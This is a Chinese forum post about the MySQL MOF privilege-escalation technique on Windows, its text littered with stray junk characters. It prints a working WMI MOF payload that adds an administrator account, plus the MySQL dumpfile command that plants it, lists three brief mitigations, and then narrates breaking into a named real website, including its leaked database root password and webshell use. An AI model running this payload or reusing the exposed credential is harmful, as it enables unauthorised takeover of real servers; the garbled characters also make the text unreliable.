Mysql mof扩展漏洞防范方法. m' b1 L/ k: _7 ]* o! v
3 Y( t% r$ e# a4 p L" g8 v
网上公开的一些利用代码:- w. g4 w/ \; j2 H# G
; m: u& {% k. m5 H; K& D#pragma namespace(“\\\\.\\root\\subscription”)
/ q& c8 h' b! {8 i5 D& J7 U/ H5 u! a" D7 ?) p* V9 {9 t2 n& H
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
2 ~* N0 i7 ?- e& C0 s8 u* a* r: H% {/ d& m
+ K* G2 D" o. _. M0 [9 o8 r4 G. q
& W& v$ m o! \+ |
9 t0 x* v' e, k# s. N
( V9 }/ o0 B8 D9 J连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
" s8 S" V) Y4 |# C! A( V从上面代码来看得出解决办法:! j% n" O+ j; X
$ `3 Z2 ]. V7 \: K$ ]6 Z, D+ y
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数4 J9 O* A# ~6 ~ h; X' N9 j
9 M1 t7 s0 u* q' G% }0 K X
2、禁止使用”WScript.Shel”组件
% ?# t- e4 j, O: f/ S4 R
) P. f" S0 Q& Y2 M6 B! J3 W3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
; z5 X: L _! ]: d6 d" } {4 K4 k; }; I8 J1 c. d M8 x
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下 X0 i! {/ \$ s$ t# f
1 t: o6 C; c6 a; y事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权) h2 @" ~5 X: l3 e) z
! ^* w& N$ v" a) Q* B" h但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容- i2 s8 o9 _0 g2 b. |9 A; d1 B3 o
/ V" q% C" @* k: N4 [( O$ g% W看懂了后就开始练手吧2 E: ^2 }2 T, v
- g# z; L8 B3 p4 ^) v9 }1 K: O
http://www.webbmw.com/config/config_ucenter.php 一句话 a
& y5 j! k9 h" y0 O* ~$ S
6 p& ^8 x4 E/ ?% C% {, ?$ A$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。4 W" U3 b7 [' R; F1 ^ v1 d% p
/ }* `$ U4 W- f4 c1 c i
于是直接用菜刀开搞
1 g* J& \1 \ K t
7 H% ]0 b# |, N' T4 O上马先# V: I& q' W4 n4 ~
$ u/ c$ Z8 u) z
既然有了那些账号 之类的 于是我们就执行吧…….
8 J! q+ { u* w o0 }9 Z; K
9 U$ g' l0 U) ^/ A2 B小小的说下0 S$ A- r- ~" q/ {- X
) _) J1 L; E7 `4 d3 M在这里第1次执行未成功 原因未知; r9 T& q- x( _: G Y
8 p1 ] s5 Y2 C9 Y我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。8 c- Z% S7 z) d0 Y, U* {5 d' u
6 r! u; E* n3 o t#pragma namespace(“\\\\.\\root\\subscription”)
Q% P! y( U; N$ A
: v" [3 F$ ^4 j! Z6 ^% T$ Jinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
1 X" S/ V: d& {9 ^- O+ G3 H6 X" N3 [
我是将文件放到C:\WINDOWS\temp\1.mof
N; N, f- o$ i) i( ^9 P% a/ n) x1 u8 y/ P1 Q* E
所以我们就改下执行的代码& P! k; v/ Q- }0 ~; { G
5 S/ E0 ~* A/ Z* A
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;8 \7 M' w5 A/ N# m1 f2 h y
. C/ K- h! ]$ F5 X% c
8 v N1 W2 ^" ~! f L
. b3 P" T; S% u7 V q
但是 你会发现账号还是没有躺在那里。。
. z# q* q2 J$ ]- d4 e8 }' Q, z& B2 T; ]2 W
于是我就感觉蛋疼
/ G2 i& K8 z8 ]2 [1 _* q6 R1 P: p6 r3 z" {
就去一个一个去执行 但是执行到第2个 mysql时就成功了………# _, z2 B" M+ T$ `: D& W
* G+ T# h' f' b& a( I
1 Q! e" ?2 @: }1 f9 A2 d; a% D% D9 q0 I6 l6 O
但是其他库均不成功…
/ L- g0 y3 s" J% c, W* z' V) N( Q1 N! f/ T6 r+ V8 j2 B0 l
我就很费解呀 到底为什么不成功求大牛解答…
2 ?- ^ a& A# d" ^2 ?9 U2 t
/ }. h7 J) `. u" h9 F c% i) C2 u$ X8 ^* W( v
' _. z ^9 l) M u S |